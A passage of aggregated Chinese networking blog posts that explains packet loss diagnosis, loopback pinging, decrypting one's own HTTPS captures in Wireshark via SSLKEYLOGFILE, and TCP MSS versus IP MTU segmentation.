1024上面的输出内容,含义是RingBuffer最大支持4096的长度,但现在实际只用了1024。想要修改这个长度可以执行ethtool -G eth1 rx 4096 tx 4096将发送和接收RingBuffer的长度都改为4096。RingBuffer增大之后,可以减少因为容量小而导致的丢包情况。网卡性能不足网卡作为硬件,传输速度是有上限的。当网络传输速度过大,达到网卡上限时,就会发生丢包。这种情况一般常见于压测场景。我们可以通过ethtool加网卡名,获得当前网卡支持的最大速度。# ethtool eth0 Settings for eth0: Speed: 10000Mb/s可以看到,我这边用的网卡能支持的最大传输速度speed=1000Mb/s。也就是俗称的千兆网卡,但注意这里的单位是Mb,这里的b是指bit,而不是Byte。1Byte=8bit。所以10000Mb/s还要除以8,也就是理论上网卡最大传输速度是1000/8 = 125MB/s。我们可以通过sar命令从网络接口层面来分析数据包的收发情况。# sar -n DEV 1 Linux 3.10.0-1127.19.1.el7.x86_64 2022年07月27日 _x86_64_ (1 CPU) ​ 08时35分39秒     IFACE   rxpck/s   txpck/s   rxkB/s   txkB/s   rxcmp/s   txcmp/s rxmcst/s 08时35分40秒     eth0      6.06      4.04      0.35    121682.33   0.00    0.00     0.00其中 txkB/s是指当前每秒发送的字节(byte)总数,rxkB/s是指每秒接收的字节(byte)总数。当两者加起来的值约等于12~13w字节的时候,也就对应大概125MB/s的传输速度。此时达到网卡性能极限,就会开始丢包。遇到这个问题,优先看下你的服务是不是真有这么大的真实流量,如果是的话可以考虑下拆分服务,或者就忍痛充钱升级下配置吧。接收缓冲区丢包我们一般使用TCP socket进行网络编程的时候,内核都会分配一个发送缓冲区和一个接收缓冲区。当我们想要发一个数据包,会在代码里执行send(msg),这时候数据包并不是一把梭直接就走网卡飞出去的。而是将数据拷贝到内核发送缓冲区就完事返回了,至于什么时候发数据,发多少数据,这个后续由内核自己做决定。之前写过的《代码执行send成功后,数据就发出去了吗?》里有比较详细的介绍。而接收缓冲区作用也类似,从外部网络收到的数据包就暂存在这个地方,然后坐等用户空间的应用程序将数据包取走。这两个缓冲区是有大小限制的,可以通过下面的命令去查看。# 查看接收缓冲区 # sysctl net.ipv4.tcp_rmem net.ipv4.tcp_rmem = 4096 87380 6291456 ​ # 查看发送缓冲区 # sysctl net.ipv4.tcp_wmem net.ipv4.tcp_wmem = 4096 16384 4194304不管是接收缓冲区还是发送缓冲区,都能看到三个数值,分别对应缓冲区的最小值,默认值和最大值 (min、default、max)。缓冲区会在min和max之间动态调整。那么问题来了,如果缓冲区设置过小会怎么样?对于发送缓冲区,执行send的时候,如果是阻塞调用,那就会等,等到缓冲区有空位可以发数据。如果是非阻塞调用,就会立刻返回一个 EAGAIN 错误信息,意思是 Try again 。让应用程序下次再重试。这种情况下一般不会发生丢包。当接受缓冲区满了,事情就不一样了,它的TCP接收窗口会变为0,也就是所谓的零窗口,并且会通过数据包里的win=0,告诉发送端,"球球了,顶不住了,别发了"。一般这种情况下,发送端就该停止发消息了,但如果这时候确实还有数据发来,就会发生丢包。我们可以通过下面的命令里的TCPRcvQDrop查看到有没有发生过这种丢包现象。cat /proc/net/netstat TcpExt: SyncookiesSent TCPRcvQDrop SyncookiesFailed TcpExt: 0 157 60116但是说个伤心的事情,我们一般也看不到这个TCPRcvQDrop,因为这个是5.9版本里引入的打点,而我们的服务器用的一般是2.x~3.x左右版本。你可以通过下面的命令查看下你用的是什么版本的linux内核。# cat /proc/version Linux version 3.10.0-1127.19.1.el7.x86_64两端之间的网络丢包前面提到的是两端机器内部的网络丢包,除此之外,两端之间那么长的一条链路都属于外部网络,这中间有各种路由器和交换机还有光缆啥的,丢包也是很经常发生的。这些丢包行为发生在中间链路的某些个机器上,我们当然是没权限去登录这些机器。但我们可以通过一些命令观察整个链路的连通情况。ping命令查看丢包比如我们知道目的地的域名是 baidu.com。想知道你的机器到baidu服务器之间,有没有产生丢包行为。可以使用ping命令。倒数第二行里有个100% packet loss,意思是丢包率100% 。但这样其实你只能知道你的机器和目的机器之间有没有丢包。那如果你想知道你和目的机器之间的这条链路,哪个节点丢包了,有没有办法呢?有。mtr命令mtr命令可以查看到你的机器和目的机器之间的每个节点的丢包情况。像下面这样执行命令。其中**-r是指report**,以报告的形式打印结果。可以看到Host那一列,出现的都是链路中间每一跳的机器,Loss的那一列就是指这一跳对应的丢包率。需要注意的是,中间有一些是host是???,那个是因为mtr默认用的是ICMP包,有些节点限制了ICMP包,导致不能正常展示。我们可以在mtr命令里加个-u,也就是使用udp包,就能看到部分??? 对应的IP。把ICMP包和UDP包的结果拼在一起看,就是比较完整的链路图了。还有个小细节,Loss那一列,我们在icmp的场景下,关注最后一行,如果是0%,那不管前面loss是100%还是80%都无所谓,那些都是节点限制导致的虚报。但如果最后一行是20%,再往前几行都是20%左右,那说明丢包就是从最接近的那一行开始产生的,长时间是这样,那很可能这一跳出了点问题。如果是公司内网的话,你可以带着这条线索去找对应的网络同事。如果是外网的话,那耐心点等等吧,别人家的开发会比你更着急。发生丢包了怎么办说了这么多。只是想告诉大家,丢包是很常见的,几乎不可避免的一件事情。但问题来了,发生丢包了怎么办?这个好办,用TCP协议去做传输。建立了TCP连接的两端,发送端在发出数据后会等待接收端回复ack包,ack包的目的是为了告诉对方自己确实收到了数据,但如果中间链路发生了丢包,那发送端会迟迟收不到确认ack,于是就会进行重传。以此来保证每个数据包都确确实实到达了接收端。假设现在网断了,我们还用聊天软件发消息,聊天软件会使用TCP不断尝试重传数据,如果重传期间网络恢复了,那数据就能正常发过去。但如果多次重试直到超时都还是失败,这时候你将收获一个红色感叹号。这时候问题又来了。假设某绿皮聊天软件用的就是TCP协议。那文章开头提到的女生,她男朋友回她的消息时为什么还会丢包?毕竟丢包了会重试,重试失败了还会出现红色感叹号。于是乎,问题就变成了,用了TCP协议,就一定不会丢包吗?用了TCP协议就一定不会丢包吗我们知道TCP位于传输层,在它的上面还有各种应用层协议,比如常见的HTTP或者各类RPC协议。TCP保证的可靠性,是传输层的可靠性。也就是说,TCP只保证数据从A机器的传输层可靠地发到B机器的传输层。至于数据到了接收端的传输层之后,能不能保证到应用层,TCP并不管。假设现在,我们输入一条消息,从聊天框发出,走到传输层TCP协议的发送缓冲区,不管中间有没有丢包,最后通过重传都保证发到了对方的传输层TCP接收缓冲区,此时接收端回复了一个ack,发送端收到这个ack后就会将自己发送缓冲区里的消息给扔掉。到这里TCP的任务就结束了。TCP任务是结束了,但聊天软件的任务没结束。聊天软件还需要将数据从TCP的接收缓冲区里读出来,如果在读出来这一刻,手机由于内存不足或其他各种原因,导致软件崩溃闪退了。发送端以为自己发的消息已经发给对方了,但接收端却并没有收到这条消息。于是乎,消息就丢了。虽然概率很小,但它就是发生了。合情合理,逻辑自洽。所以从这里,我铿锵有力的得出结论,我的读者已经回了这位女生消息了,只是因为发生了丢包所以女生才没能收到,而丢包的原因是女生的手机聊天软件在接收消息的那一刻发生了闪退。到这里。女生知道自己错怪她男朋友了,哭着表示,一定要让她男朋友给她买一台不闪退的最新款iphone。额。。。兄弟们觉得我做得对的,请在评论区扣个"正能量"。这类丢包问题怎么解决?故事到这里也到尾声了,感动之余,我们来聊点掏心窝子的话。其实前面说的都对,没有一句是假话。但某绿皮聊天软件这么成熟,怎么可能没考虑过这一点呢。大家应该还记得我们文章开头提到过,为了简单,就将服务器那一方给省略了,从三端通信变成了两端通信,所以才有了这个丢包问题。现在我们重新将服务器加回来。大家有没有发现,有时候我们在手机里聊了一大堆内容,然后登录电脑版,它能将最近的聊天记录都同步到电脑版上。也就是说服务器可能记录了我们最近发过什么数据,假设每条消息都有个id,服务器和聊天软件每次都拿最新消息的id进行对比,就能知道两端消息是否一致,就像对账一样。对于发送方,只要定时跟服务端的内容对账一下,就知道哪条消息没发送成功,直接重发就好了。如果接收方的聊天软件崩溃了,重启后跟服务器稍微通信一下就知道少了哪条数据,同步上来就是了,所以也不存在上面提到的丢包情况。可以看出,TCP只保证传输层的消息可靠性,并不保证应用层的消息可靠性。如果我们还想保证应用层的消息可靠性,就需要应用层自己去实现逻辑做保证。那么问题叒来了,两端通信的时候也能对账,为什么还要引入第三端服务器?主要有三个原因。第一,如果是两端通信,你聊天软件里有1000个好友,你就得建立1000个连接。但如果引入服务端,你只需要跟服务器建立1个连接就够了,聊天软件消耗的资源越少,手机就越省电。第二,就是安全问题,如果还是两端通信,随便一个人找你对账一下,你就把聊天记录给同步过去了,这并不合适吧。如果对方别有用心,信息就泄露了。引入第三方服务端就可以很方便的做各种鉴权校验。第三,是软件版本问题。软件装到用户手机之后,软件更不更新就是由用户说了算了。如果还是两端通信,且两端的软件版本跨度太大,很容易产生各种兼容性问题,但引入第三端服务器,就可以强制部分过低版本升级,否则不能使用软件。但对于大部分兼容性问题,给服务端加兼容逻辑就好了,不需要强制用户更新软件。所以看到这里大家应该明白了,我把服务端去掉,并不单纯是为了简单。总结数据从发送端到接收端,链路很长,任何一个地方都可能发生丢包,几乎可以说丢包不可避免。平时没事也不用关注丢包,大部分时候TCP的重传机制保证了消息可靠性。当你发现服务异常的时候,比如接口延时很高,总是失败的时候,可以用ping或者mtr命令看下是不是中间链路发生了丢包。TCP只保证传输层的消息可靠性,并不保证应用层的消息可靠性。如果我们还想保证应用层的消息可靠性,就需要应用层自己去实现逻辑做保证。最后给大家留个问题吧,mtr命令是怎么知道每一跳的IP地址的?参考资料《Linux 内核技术实战》-- 极客时间《云网络丢包故障定位全景指南》--极客重生
0
0
0
浏览量1015
超超

硬核图解!断网了,还能ping通 127.0.0.1 吗?为什么?

你女神爱不爱你,你问她,她可能不会告诉你。但网通不通,你 ping 一下就知道了。可能看到标题,你就知道答案了,但是你了解背后的原因吗?那如果把 127.0.0.1 换成 0.0.0.0 或 localhost 会怎么样呢? 你知道这几个IP有什么区别吗?以前面试的时候就遇到过这个问题,大家看个动图了解下面试官和我当时的场景,求当时小白的心里阴影面积。话不多说,我们直接开车。拔掉网线,断网。然后在控制台输入 ping 127.0.0.1。$ ping 127.0.0.1 PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.080 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.093 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.074 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.079 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.079 ms ^C --- 127.0.0.1 ping statistics --- 5 packets transmitted, 5 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 0.074/0.081/0.093/0.006 ms说明,拔了网线,ping 127.0.0.1 是能ping通的。其实这篇文章看到这里,标题前半个问题已经被回答了。但是我们可以再想深一点。为什么断网了还能 ping 通 127.0.0.1 呢?这能说明你不用交网费就能上网吗?不能。首先我们需要进入基础科普环节。不懂的同学看了就懂了,懂的看了就当查漏补缺吧。什么是127.0.0.1首先,这是个 IPV4 地址。IPV4 地址有 32 位,一个字节有 8 位,共 4 个字节。其中127 开头的都属于回环地址,也是 IPV4 的特殊地址,没什么道理,就是人为规定的。而127.0.0.1是众多回环地址中的一个。之所以不是 127.0.0.2 ,而是 127.0.0.1,是因为源码里就是这么定义的,也没什么道理。/* Address to loopback in software to local host. */ #define INADDR_LOOPBACK 0x7f000001 /* 127.0.0.1 */IPv4 的地址是 32 位的,2的32次方,大概是40+亿。地球光人口就76亿了,40亿IP这点量,塞牙缝都不够,实际上IP也确实用完了。所以就有了IPV6, IPv6 的地址是 128 位的,大概是2的128次方≈10的38次方。据说地球的沙子数量大概是 10的23次方,所以IPV6的IP可以认为用不完。IPV4以8位一组,每组之间用 . 号隔开。IPV6就以16位为一组,每组之间用 : 号隔开。如果全是0,那么可以省略不写。在IPV4下的回环地址是 127.0.0.1,在IPV6下,表达为 ::1 。中间把连续的0给省略了,之所以不是7个 冒号,而是2个冒号: , 是因为一个 IPV6 地址中只允许出现⼀次两个连续的冒号。多说一句: 在IPV4下用的是 ping 127.0.0.1 命令。 在IPV6下用的是 ping6 ::1 命令。什么是 pingping 是应用层命令,可以理解为它跟游戏或者聊天软件属于同一层。只不过聊天软件可以收发消息,还能点个赞什么的,有很多复杂的功能。而 ping 作为一个小软件,它的功能比较简单,就是尝试发送一个小小的消息到目标机器上,判断目的机器是否可达,其实也就是判断目标机器网络是否能连通。ping应用的底层,用的是网络层的ICMP协议。虽然ICMP协议和IP协议都属于网络层协议,但其实ICMP也是利用了IP协议进行消息的传输。所以,大家在这里完全可以简单的理解为 ping 某个IP 就是往某个IP地址发个消息。TCP发数据和ping的区别一般情况下,我们会使用 TCP 进行网络数据传输,那么我们可以看下它和 ping 的区别。ping和其他应用层软件都属于应用层。那么我们横向对比一下,比方说聊天软件,如果用的是TCP的方式去发送消息。为了发送消息,那就得先知道往哪发。linux里万物皆文件,那你要发消息的目的地,也是个文件,这里就引出了socket 的概念。要使用 socket , 那么首先需要创建它。在 TCP 传输中创建的方式是 socket(AF_INET, SOCK_STREAM, 0);,其中 AF_INET 表示将使用 IPV4 里 host:port 的方式去解析待会你输入的网络地址。SOCK_STREAM 是指使用面向字节流的 TCP 协议,工作在传输层。创建好了 socket 之后,就可以愉快的把要传输的数据写到这个文件里。调用 socket 的sendto接口的过程中进程会从用户态进入到内核态,最后会调用到 sock_sendmsg 方法。然后进入传输层,带上TCP头。网络层带上IP头,数据链路层带上 MAC头等一系列操作后。进入网卡的发送队列 ring buffer ,顺着网卡就发出去了。回到 ping , 整个过程也基本跟 TCP 发数据类似,差异的地方主要在于,创建 socket 的时候用的是 socket(AF_INET,SOCK_RAW,IPPROTO_ICMP),SOCK_RAW 是原始套接字 ,工作在网络层, 所以构建ICMP(网络层协议)的数据,是再合适不过了。ping 在进入内核态后最后也是调用的 sock_sendmsg 方法,进入到网络层后加上ICMP和IP头后,数据链路层加上MAC头,也是顺着网卡发出。因此 本质上ping 跟 普通应用发消息 在程序流程上没太大差别。这也解释了**为什么当你发现怀疑网络有问题的时候,别人第一时间是问你能ping通吗?**因为可以简单理解为ping就是自己组了个数据包,让系统按着其他软件发送数据的路径往外发一遍,能通的话说明其他软件发的数据也能通。为什么断网了还能 ping 通 127.0.0.1前面提到,有网的情况下,ping 最后是通过网卡将数据发送出去的。那么断网的情况下,网卡已经不工作了,ping 回环地址却一切正常,我们可以看下这种情况下的工作原理。从应用层到传输层再到网络层。这段路径跟ping外网的时候是几乎是一样的。到了网络层,系统会根据目的IP,在路由表中获取对应的路由信息,而这其中就包含选择哪个网卡把消息发出。当发现目标IP是外网IP时,会从"真网卡"发出。当发现目标IP是回环地址时,就会选择本地网卡。本地网卡,其实就是个**"假网卡",它不像"真网卡"那样有个ring buffer什么的,"假网卡"会把数据推到一个叫 input_pkt_queue 的 链表 中。这个链表,其实是所有网卡共享的,上面挂着发给本机的各种消息。消息被发送到这个链表后,会再触发一个软中断**。专门处理软中断的工具人**"ksoftirqd"** (这是个内核线程),它在收到软中断后就会立马去链表里把消息取出,然后顺着数据链路层、网络层等层层往上传递最后给到应用程序。ping 回环地址和通过TCP等各种协议发送数据到回环地址都是走这条路径。整条路径从发到收,都没有经过"真网卡"。**之所以127.0.0.1叫本地回环地址,可以理解为,消息发出到这个地址上的话,就不会出网络,在本机打个转就又回来了。**所以断网,依然能 ping 通 127.0.0.1。ping回环地址和ping本机地址有什么区别我们在mac里执行 ifconfig 。$ ifconfig lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384 inet 127.0.0.1 netmask 0xff000000 ... en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 inet 192.168.31.6 netmask 0xffffff00 broadcast 192.168.31.255 ...能看到 lo0,表示本地回环接口,对应的地址,就是我们前面提到的 127.0.0.1 ,也就是回环地址。和 eth0,表示本机第一块网卡,对应的IP地址是192.168.31.6,管它叫本机IP。之前一直认为ping本机IP的话会通过"真网卡"出去,然后遇到第一个路由器,再发回来到本机。为了验证这个说法,可以进行抓包,但结果跟上面的说法并不相同。可以看到 ping 本机IP 跟 ping 回环地址一样,相关的网络数据,都是走的 lo0,本地回环接口,也就是前面提到的**"假网卡"**。只要走了本地回环接口,那数据都不会发送到网络中,在本机网络协议栈中兜一圈,就发回来了。因此 ping回环地址和ping本机地址没有区别。127.0.0.1 和 localhost 以及 0.0.0.0 有区别吗回到文章开头动图里的提问,算是面试八股文里的老常客了。以前第一次用 nginx 的时候,发现用这几个 IP,都能正常访问到 nginx 的欢迎网页。一度认为这几个 IP 都是一样的。    但本质上还是有些区别的。首先 localhost 就不叫 IP,它是一个域名,就跟 "baidu.com",是一个形式的东西,只不过默认会把它解析为 127.0.0.1 ,当然这可以在 /etc/hosts 文件下进行修改。所以默认情况下,使用 localhost 跟使用 127.0.0.1 确实是没区别的。其次就是 0.0.0.0,执行 ping 0.0.0.0 ,是会失败的,因为它在IPV4中表示的是无效的目标地址。$ ping 0.0.0.0 PING 0.0.0.0 (0.0.0.0): 56 data bytes ping: sendto: No route to host ping: sendto: No route to host但它还是很有用处的,回想下,我们启动服务器的时候,一般会 listen 一个 IP 和端口,等待客户端的连接。如果此时 listen 的是本机的 0.0.0.0 , 那么它表示本机上的所有IPV4地址。/* Address to accept any incoming messages. */ #define INADDR_ANY ((unsigned long int) 0x00000000) /* 0.0.0.0 */举个例子。刚刚提到的 127.0.0.1 和 192.168.31.6 ,都是本机的IPV4地址,如果监听 0.0.0.0 ,那么用上面两个地址,都能访问到这个服务器。当然, 客户端 connect 时,不能使用 0.0.0.0 。必须指明要连接哪个服务器IP。总结127.0.0.1 是回环地址。localhost是域名,但默认等于 127.0.0.1。ping 回环地址和 ping 本机地址,是一样的,走的是lo0 "假网卡",都会经过网络层和数据链路层等逻辑,最后在快要出网卡前狠狠拐了个弯, 将数据插入到一个链表后就软中断通知 ksoftirqd 来进行收数据的逻辑,压根就不出网络。所以断网了也能 ping 通回环地址。如果服务器 listen 的是 0.0.0.0,那么此时用127.0.0.1和本机地址都可以访问到服务。最后最近工作上的事情太忙,本来就黑的黑眼圈,就更黑了,鸽了大家这么久实在不好意思哈。这篇文章里,有几张大图本来都是动图,但是发现动起来之后发现字太小,点开来放大之后图又不会动了。有些影响体验,我就先改成静态图吧。参考资料《127.0.0.1 之本机网络通信过程知多少 ?!》—— 推荐关注飞哥的《开发内功修炼》
0
0
0
浏览量1183
超超

为什么我抓不到baidu的数据包

最近,有位读者问起一个奇怪的事情,他说他想抓一个baidu.com的数据包,体验下看包的乐趣。但却发现“抓不到”,这就有些奇怪了。我来还原下他的操作步骤。首先,通过ping命令,获得访问百度时会请求哪个IP。$ ping baidu.com PING baidu.com (39.156.66.10) 56(84) bytes of data. 64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=1 ttl=49 time=30.6 ms 64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=2 ttl=49 time=30.6 ms 64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=3 ttl=49 time=30.6 ms从上面的结果可以知道请求baidu.com时会去访问39.156.66.10。于是用下面的tcpdump命令进行抓包,大概的意思是抓eth0网卡且ip为39.156.66.10的网络包,保存到baidu.pcap文件中。$ tcpdump -i eth0 host 39.156.66.10 -w baidu.pcap此时在浏览器中打开baidu.com网页。或者在另外一个命令行窗口,直接用curl命令来模拟下。$ curl 'https://baidu.com'按理说,访问baidu.com的数据包肯定已经抓下来了。然后停止抓包。再用wireshark打开baidu.pcap文件,在过滤那一栏里输入http.host == "baidu.com"。此时发现,一无所获。这是为啥?到这里,有经验的小伙伴,其实已经知道问题出在哪里了。为什么没能抓到包这其实是因为他访问的是HTTPS协议的baidu.com。HTTP协议里的Host和实际发送的request body都会被加密。正因为被加密了,所以没办法通过http.host进行过滤。但是。虽然加密了,如果想筛选还是可以筛的。HTTPS握手中的Client Hello阶段,里面有个扩展server_name,会记录你想访问的是哪个网站,通过下面的筛选条件可以将它过滤出来。 tls.handshake.extensions_server_name == "baidu.com"此时选中其中一个包,点击右键,选中Follow-TCP Stream。这个TCP连接的其他相关报文全都能被展示出来。从截图可以看出,这里面完整经历了TCP握手和TLS加密握手流程,之后就是两段加密信息和TCP挥手流程。可以看出18号和20号包,一个是从端口56028发到443,一个是443到56028的回包。一般来说,像56028这种比较大且没啥规律的数字,都是客户端随机生成的端口号。而443,则是HTTPS的服务器端口号。HTTP用的是80端口,如果此时对着80端口抓包,也会抓不到数据。粗略判断,18号和20号包分别是客户端请求baidu.com的请求包和响应包。点进去看会发现URL和body都被加密了,一无所获。那么问题就来了。有没有办法解密里面的数据呢?有办法。我们来看下怎么做。解密数据包还是先执行tcpdump抓包$ tcpdump -i eth0 host 39.156.66.10 -w baidu.pcap然后在另外一个命令行窗口下执行下面的命令,目的是将加密的key导出,并给出对应的导出地址是/Users/xiaobaidebug/ssl.key。$ export SSLKEYLOGFILE=/Users/xiaobaidebug/ssl.key然后在同一个命令行窗口下,继续执行curl命令或用命令行打开chrome浏览器。目的是为了让curl或chrome继承这个环境变量。$ curl 'https://baidu.com' 或者 $ open -a Google\ Chrome #在mac里打开chrome浏览器此时会看到在/Users/xiaobaidebug/下会多了一个ssl.key文件。这时候跟着下面的操作修改wireshark的配置项。找到Protocols之后,使劲往下翻,找到TLS那一项。将导出的ssl.key文件路径输入到这里头。点击确定后,就能看到18号和20号数据包已经被解密。此时再用http.host == "baidu.com",就能过滤出数据了。到这里,其实看不了数据包的问题就解决了。但是,新的问题又来了。ssl.key文件是个啥?这就要从HTTPS的加密原理说起了。HTTPS握手过程HTTPS的握手过程比较繁琐,我们来回顾下。先是建立TCP连接,毕竟HTTP是基于TCP的应用层协议。在TCP成功建立完协议后,就可以开始进入HTTPS阶段。HTTPS可以用TLS或者SSL啥的进行加密,下面我们以TLS1.2为例。总的来说。整个加密流程其实分为两阶段。第一阶段是TLS四次握手,这一阶段主要是利用非对称加密的特性各种交换信息,最后得到一个"会话秘钥"。第二阶段是则是在第一阶段的"会话秘钥"基础上,进行对称加密通信。我们先来看下第一阶段的TLS四次握手是怎么样的。第一次握手:Client Hello:是客户端告诉服务端,它支持什么样的加密协议版本,比如 TLS1.2,使用什么样的加密套件,比如最常见的RSA,同时还给出一个客户端随机数。第二次握手:Server Hello:服务端告诉客户端,服务器随机数 + 服务器证书 + 确定的加密协议版本(比如就是TLS1.2)。第三次握手:Client Key Exchange: 此时客户端再生成一个随机数,叫 pre_master_key 。从第二次握手的服务器证书里取出服务器公钥,用公钥加密 pre_master_key,发给服务器。Change Cipher Spec: 客户端这边已经拥有三个随机数: 客户端随机数,服务器随机数和pre_master_key,用这三个随机数进行计算得到一个"会话秘钥"。此时客户端通知服务端,后面会用这个会话秘钥进行对称机密通信。Encrypted Handshake Message:客户端会把迄今为止的通信数据内容生成一个摘要,用"会话秘钥"加密一下,发给服务器做校验,此时客户端这边的握手流程就结束了,因此也叫Finished报文。第四次握手:Change Cipher Spec:服务端此时拿到客户端传来的 pre_master_key(虽然被服务器公钥加密过,但服务器有私钥,能解密获得原文),集齐三个随机数,跟客户端一样,用这三个随机数通过同样的算法获得一个"会话秘钥"。此时服务器告诉客户端,后面会用这个"会话秘钥"进行加密通信。Encrypted Handshake Message:跟客户端的操作一样,将迄今为止的通信数据内容生成一个摘要,用"会话秘钥"加密一下,发给客户端做校验,到这里,服务端的握手流程也结束了,因此这也叫Finished报文。四次握手中,客户端和服务端最后都拥有三个随机数,他们很关键,我特地加粗了表示。第一次握手,产生的客户端随机数,叫client random。第二次握手时,服务器也会产生一个服务器随机数,叫server random。第三次握手时,客户端还会产生一个随机数,叫pre_master_key。这三个随机数共同构成最终的对称加密秘钥,也就是上面提到的"会话秘钥"。你可以简单的认为,只要知道这三个随机数,你就能破解HTTPS通信。而这三个随机数中,client random 和 server random 都是明文的,谁都能知道。而pre_master_key却不行,它被服务器的公钥加密过,只有客户端自己,和拥有对应服务器私钥的人能知道。所以问题就变成了,怎么才能得到这个pre_master_key?怎么得到pre_master_key服务器私钥不是谁都能拿到的,所以问题就变成了,有没有办法从客户端那拿到这个pre_master_key。有的。客户端在使用HTTPS与服务端进行数据传输时,是需要先基于TCP建立HTTP连接,然后再调用客户端侧的TLS库(OpenSSL、NSS)。触发TLS四次握手。这时候如果加入环境变量SSLKEYLOGFILE就可以干预TLS库的行为,让它输出一份含有pre_master_key的文件。这个文件就是我们上面提到的/Users/xiaobaidebug/ssl.key。但是,虽然TLS库支持导出key文件。但前提也是,上层的应用程序在调用TLS库的时候,支持通过SSLKEYLOGFILE环境触发TLS库导出文件。实际上,也并不是所有应用程序都支持将SSLKEYLOGFILE。只是目前常见的curl和chrome浏览器都是支持的。SSLKEYLOGFILE文件内容再回过头来看ssl.key文件里的内容。# SSL/TLS secrets log file, generated by NSS CLIENT_RANDOM 5709aef8ba36a8eeac72bd6f970a74f7533172c52be41b200ca9b91354bd662b 09d156a5e6c0d246549f6265e73bda72f0d6ee81032eaaa0bac9bea362090800174e0effc93b93c2ffa50cd8a715b0f0 CLIENT_RANDOM 57d269386549a4cec7f91158d85ca1376a060ef5a6c2ace04658fe88aec48776 48c16429d362bea157719da5641e2f3f13b0b3fee2695ef2b7cdc71c61958d22414e599c676ca96bbdb30eca49eb488a CLIENT_RANDOM 5fca0f2835cbb5e248d7b3e75180b2b3aff000929e33e5bacf5f5a4bff63bbe5 424e1fcfff35e76d5bf88f21d6c361ee7a9d32cb8f2c60649135fd9b66d569d8c4add6c9d521e148c63977b7a95e8fe8 CLIENT_RANDOM be610cb1053e6f3a01aa3b88bc9e8c77a708ae4b0f953b2063ca5f925d673140 c26e3cf83513a830af3d3401241e1bc4fdda187f98ad5ef9e14cae71b0ddec85812a81d793d6ec934b9dcdefa84bdcf3这里有三列。第一列是CLIENT_RANDOM,意思是接下来的第二列就是客户端随机数,再接下来的第三列则是pre_master_key。但是问题又来了。这么多行,wireshark怎么知道用哪行的pre_master_key呢?wireshark是可以获得数据报文上的client random的。比如下图这样。注意上面的客户端随机数是以 "bff63bbe5"结尾的。同样,还能在数据报文里拿到server random。此时将client random放到ssl.key的第二列里挨个去做匹配。就能找到对应的那一行记录。注意第二列的那串字符串,也是以 "bff63bbe5"结尾的,它其实就是前面提到的client random。再取出这一行的第三列数据,就是我们想要的pre_master_key。那么这时候wireshark就集齐了三个随机数,此时就可以计算得到会话秘钥,通过它对数据进行解密了。反过来,正因为需要客户端随机数,才能定位到ssl.key文件里对应的pre_master_key是哪一个。而只有TLS第一次握手(client hello)的时候才会有这个随机数,所以如果你想用解密HTTPS包,就必须将TLS四次握手能抓齐,才能进行解密。如果连接早已经建立了,数据都来回传好半天了,这时候你再去抓包,是没办法解密的。总结文章开头通过抓包baidu的数据包,展示了用wireshark抓包的简单操作流程。HTTPS会对HTTP的URL和Request Body都进行加密,因此直接在filter栏进行过滤http.host == "baidu.com"会一无所获。HTTPS握手的过程中会先通过非对称机密去交换各种信息,其中就包括3个随机数,再通过这三个随机数去生成对称机密的会话秘钥,后续使用这个会话秘钥去进行对称加密通信。如果能获得这三个随机数就能解密HTTPS的加密数据包。三个随机数,分别是客户端随机数(client random),服务端随机数(server random)以及pre_master_key。前两个,是明文,第三个是被服务器公钥加密过的,在客户端侧需要通过SSLKEYLOGFILE去导出。通过设置SSLKEYLOGFILE环境变量,再让curl或chrome会请求HTTPS域名,会让它们在调用TLS库的同时导出对应的sslkey文件。这个文件里包含了三列,其中最重要的是第二列的client random信息以及第三列的pre_master_key。第二列client random用于定位,第三列pre_master_key用于解密。参考资料极客时间 -《网络排查案例课》
0
0
0
浏览量622
超超

动图图解!既然IP层会分片,为什么TCP层也还要分段?

文章持续更新,可以微信搜一搜「golang小白成长记」第一时间阅读,回复【教程】获golang免费视频教程。本文已经收录在GitHub github.com/xiaobaiTech… (点击阅读原文直达), 有大厂面试完整考点和成长路线,欢迎Star。什么是TCP分段和IP分片我们知道网络就像一根管子,而管子吧,就会有粗细。一个数据包想从管子的一端到另一端,得过这个管子。但数据包的量有大有小,想过管子,数据包不能大于这根管子的粗细。问题来了,数据包过大时怎么办?答案比较简单。会把数据包切分小块。这样数据就可以由大变小,顺利传输。回去看下网络分层协议,数据先过传输层,再到网络层。这个行为在传输层和网络层都有可能发生。在传输层(TCP协议)里,叫分段。在网络层(IP层),叫分片。(注意以下提到的IP没有特殊说明的情况下,都是指IPV4)那么不管是分片还是分段,肯定需要按照一定的长度切分。在TCP里,这个长度是MSS。在IP层里,这个长度是MTU。那MSS和MTU是什么关系呢?这个在之前的文章里简单提到过。这里单独拿出来。MSS是什么MSS:Maximum Segment Size 。 TCP 提交给 IP 层最大分段大小,不包含 TCP Header 和 TCP Option,只包含 TCP Payload ,MSS 是 TCP 用来限制应用层最大的发送字节数。 假设 MTU= 1500 byte,那么 MSS = 1500- 20(IP Header) -20 (TCP Header) = 1460 byte,如果应用层有 2000 byte 发送,那么需要两个切片才可以完成发送,第一个 TCP 切片 = 1460,第二个 TCP 切片 = 540。如何查看MSS?我们都知道TCP三次握手,而MSS会在三次握手的过程中传递给对方,用于通知对端本地最大可以接收的TCP报文数据大小(不包含TCP和IP报文首部)。比如上图中,B将自己的MSS发送给A,建议A在发数据给B的时候,采用MSS=1420进行分段。而B在发数据给A的时候,同样会带上MSS=1372。两者在对比后,会采用小的那个值(1372)作为通信的MSS值,这个过程叫MSS协商。另外,一般情况下MSS + 20(TCP头)+ 20(IP头)= MTU,上面抓包的图里对应的MTU分别是1372+40 和 1420+40。 